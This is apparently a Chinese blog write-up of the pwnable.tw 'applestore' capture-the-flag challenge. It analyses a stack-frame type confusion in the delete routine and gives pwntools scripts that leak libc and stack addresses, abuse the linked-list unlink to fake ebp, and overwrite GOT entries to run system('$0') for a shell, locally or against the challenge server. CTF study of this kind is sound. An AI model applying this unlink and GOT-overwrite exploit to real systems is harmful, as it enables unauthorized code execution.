zoukankan      html  css  js  c++  java
  • pwnable.tw applestore

    I is so vegetable:(,我tcl又由于忙于毕设和各种比赛各种耽误,到今天才真正把这题搞出来

    存储结构

    0x804B070链表头
    struct _mycart_binlist
    {
        int *name;    //ebp-0x20
        int price;        //ebp-0x1c
        struct _mycart_binlist *next;    //ebp-0x18
        struct _mycart_binlist *pre;    //ebp-0x14
    }

    insert

    int __cdecl insert(int a1)
    {
      int result; // eax
      _DWORD *i; // [esp+Ch] [ebp-4h]
    
      for ( i = &myCart; i[2]; i = (_DWORD *)i[2] )
        ;
      i[2] = a1;                                    // the_last_mycart->next=inserted
      result = a1;
      *(_DWORD *)(a1 + 12) = i;                     // inserted->pre=the_last_mycart
      return result;
    }

    checkout

    unsigned int checkout()
    {
      int v1; // [esp+10h] [ebp-28h]
      char *v2; // [esp+18h] [ebp-20h]
      int v3; // [esp+1Ch] [ebp-1Ch]
      unsigned int v4; // [esp+2Ch] [ebp-Ch]
    
      v4 = __readgsdword(0x14u);
      v1 = cart();
      if ( v1 == 7174 )
      {
        puts("*: iPhone 8 - $1");
        asprintf(&v2, "%s", "iPhone 8");
        v3 = 1;                                     // price=1
        insert((int)&v2);                         
        v1 = 7175;
      }
      printf("Total: $%d
    ", v1);
      puts("Want to checkout? Maybe next time!");
      return __readgsdword(0x14u) ^ v4;
    }

    这里存在问题的应该是checkout的insert,用贪心的思想求解下v1=7174各个商品的数量

    7174
    14*499=6986
    13*499=6487
    12*499=5988    1186
    11*499=5489    1685
    10*499=4990    2184
    9*499=4491    2683
    8*499=3992    3182
    7*499=3493    3681
    6*499=2994    4180
    5*499=2495    4679-99*21=2600
    100x+200y+300z=2600    =>x+2y+3z=26
    x+y+z=21
            =>y+2z=5
            y=1    z=2
            x=18    c=5
    199x 299y 399z 499c

    写个脚本验证下

    from pwn import *

    context.log_level='DEBUG'

    p=process('./applestore')

    def add(idx):
        p.sendlineafter('>','2')
        p.sendlineafter('Device Number> ',str(idx))

    for i in range(0,18):
        add(1)
    add(2)
    for i in range(0,2):
        add(4)
    for i in range(0,5):
        add(3)

    gdb.attach(p,gdbscript='b *0x08048B98 ')

    p.interactive()

    这里存在的问题是delete时执行my_read直接在栈中保存输入的字符串引起一个类型混淆,利用delete双向链表的断链操作DWORD_SHOOT得到一个任意地址写的机会,修改GOT即可导致任意代码执行。

    unsigned int delete()
    {
      signed int idx; // [esp+10h] [ebp-38h]
      _DWORD *v2; // [esp+14h] [ebp-34h]
      int delete_obj; // [esp+18h] [ebp-30h]
      int next; // [esp+1Ch] [ebp-2Ch]
      int pre; // [esp+20h] [ebp-28h]
      char nptr; // [esp+26h] [ebp-22h]
      unsigned int v7; // [esp+3Ch] [ebp-Ch]
    
      v7 = __readgsdword(0x14u);
      idx = 1;
      v2 = (_DWORD *)dword_804B070;
      printf("Item Number> ");
      fflush(stdout);
      my_read(&nptr, 0x15u);                        // 栈里边直接保存输入的字符串,虽然不会溢出,但这里会造成类型混淆
      delete_obj = atoi(&nptr);
      while ( v2 )
      {
        if ( idx == delete_obj )
        {
          next = v2[2];                             // next
          pre = v2[3];                              // pre
          if ( pre )
            *(_DWORD *)(pre + 8) = next;            // victim->pre->next=victim->next
          if ( next )
            *(_DWORD *)(next + 12) = pre;           // victim->next->pre=victim->pre
          printf("Remove %d:%s from your shopping cart.
    ", idx, *v2);
          return __readgsdword(0x14u) ^ v7;
        }
        ++idx;
        v2 = (_DWORD *)v2[2];
      }
      return __readgsdword(0x14u) ^ v7;
    }

     这里引起类型混淆的本质原因是我们执行checkout插入的V2距离ebp为EBP-20H,执行完checkout只是抬高栈帧,并不会销毁函数栈;而此时我们调用delete,会在调用checkout结束的位置开辟栈帧,这样得到的函数栈就和checkout的函数栈重叠,而delete会在栈中直接保存输入的字符串(EBP-22H的位置),就会引起一次类型混淆

    handler    ebp___
        
            38h
        
            esp__
    checkout   ebp__    delete  ebp__
        
            38h             48h
            V2=ebp-20h       nptr=ebp-22h    
    
            esp__            esp__

     DWORD_SHOT并不可行,如果我们如下构造struct执行DWORD_SHOT的话,虽然GOT表可写,但是由于双向链表断链过程会执行victim->pre=victim->next,即read@got会写入*system@got+12的位置,而*system@got+12位于libc text段,肯定不可写,这里会崩溃。

    struct
    {
        *name    =>    padding
        price      =>    padding
        *nexe    =>    read@got
        *pre    =>    system@got
    }

    以下脚本可以验证DWORD_SHOT不可行。so,how to get it pwned?

    from pwn import *
    
    context.log_level='DEBUG'
    
    p=process('./applestore')
    elf=ELF('./applestore')
    libc=ELF('/lib/i386-linux-gnu/libc-2.28.so')
    
    def add(idx):
        p.sendlineafter('>','2')
        p.sendlineafter('Device Number> ',str(idx))
    
    def delete(idx):
        p.sendlineafter('>','3')
        p.sendlineafter('Item Number>',str(idx))
    
    def checkout():
        p.sendlineafter('>','5')
        p.sendlineafter('>','y')
    
    def cart(payload):
        p.sendlineafter('>','4')
        p.sendlineafter('>',str(payload))
    
    for i in range(0,18):
        add(1)
    add(2)
    for i in range(0,2):
        add(4)
    for i in range(0,5):
        add(3)
    
    checkout()
    
    payload='yx0a'+p32(elf.got['read'])+p32(1)+p32(0)+p32(0)
    cart(payload)
    p.recvuntil('27: ')
    read_got=u32(p.recv(4))
    libc_base=read_got-libc.sym['read']
    success('libc_base:'+hex(libc_base))
    success('read_got:'+hex(read_got))
    
    #gdb.attach(p,gdbscript='b *0x08048B98
    ')    #b insert()
    gdb.attach(p,gdbscript='''
        b *0x080489F0
        break *0x080489FB if $[$ebp-0x38]==27
        ''')        #b delete_obj
    
    sys_got=libc_base+libc.sym['system']
    success('system:'+hex(sys_got))
    payload='x32x37x00x20'+'b'*6+p32(read_got-8)+p32(sys_got)
    delete(payload)
    
    #gdb.attach(p,gdbscript='b *0x080489FB
    ')
    
    p.interactive()

     由于delete中我们有一次任意地址写的机会,而在执行完delete返回到handler时会再次引用栈内存ebp-0x22(在这个位置读入),所以我们考虑修改ebp的值,进而覆盖asprintf@got和atoi@got(这两个got的地址是相邻的),asprintf@got覆盖成'$0x00x00‘(4字节),atoi@got覆盖成sys_addr即可。这样在0x8048c16执行atoi时即执行system('$0')即可getshell

    from pwn import *
    
    context.log_level='DEBUG'
    
    elf=ELF('./applestore')
    local=1
    if local:
        p=process('./applestore')
        libc=ELF('/lib/i386-linux-gnu/libc-2.28.so')
    else:
        p=remote('chall.pwnable.tw',10104)
        libc=ELF('./libc_32.so.6')
    
    def add(idx):
        p.sendlineafter('>','2')
        p.sendlineafter('Device Number> ',str(idx))
    
    def delete(idx):
        p.sendlineafter('>','3')
        p.sendlineafter('Item Number>',str(idx))
    
    def checkout():
        p.sendlineafter('>','5')
        p.sendlineafter('>','y')
    
    def cart(payload):
        p.sendlineafter('>','4')
        p.sendlineafter('>',str(payload))
    
    for i in range(0,18):
        add(1)
    add(2)
    for i in range(0,2):
        add(4)
    for i in range(0,5):
        add(3)
    
    checkout()
    
    payload='yx0a'+p32(elf.got['read'])+p32(1)+p32(0)+p32(0)
    cart(payload)
    p.recvuntil('27: ')
    read_got=u32(p.recv(4))
    libc.address=read_got-libc.sym['read']
    env=libc.sym['environ']
    success('libc_base:'+hex(libc.address))
    success('read_got:'+hex(read_got))
    
    payload='yx0a'+p32(env)+p32(1)+p32(0)+p32(0)
    cart(payload)
    p.recvuntil('27: ')
    stack_env=u32(p.recv(4))
    success('stack_env:'+hex(stack_env))
    ebp=stack_env-0x104
    success('stack_ebp:'+hex(ebp))
    
    asprintf_got=elf.got['asprintf']
    atoi_got=elf.got['atoi']
    sys=libc.sym['system']
    payload='27'+p32(sys)+p32(1)+p32(ebp-12)+p32(asprintf_got+0x22)
    
    if local:
        gdb.attach(p,gdbscript='''
            b *0x080489F0
    
            b *0x08048A6F
    
            b *0x8048c0b
    
        ''')
        pause()
    delete(payload)
    
    p.recvuntil('from your shopping cart.')
    payload='$0x00x00'+p32(sys)
    p.sendline(payload)
    
    p.interactive()
  • 相关阅读:
    Strom在本地运行调试出现的错误
    能否通过六面照片构建3D模型?比如人脸,全身的多角度照片,生成3D模型。?
    怎么识别自己的眼型?眼型图片参照
    用opencv检测人眼并定位瞳孔位置
    仿射变换
    二维图像的三角形变换算法解释
    Labeled Faces in the Wild 人脸识别数据集
    【图像处理】计算Haar特征个数
    人脸识别技术大总结(1):Face Detection & Alignment
    基于Policy Gradient实现CartPole
  • 原文地址:https://www.cnblogs.com/snip3r/p/10645653.html
Copyright © 2011-2022 走看看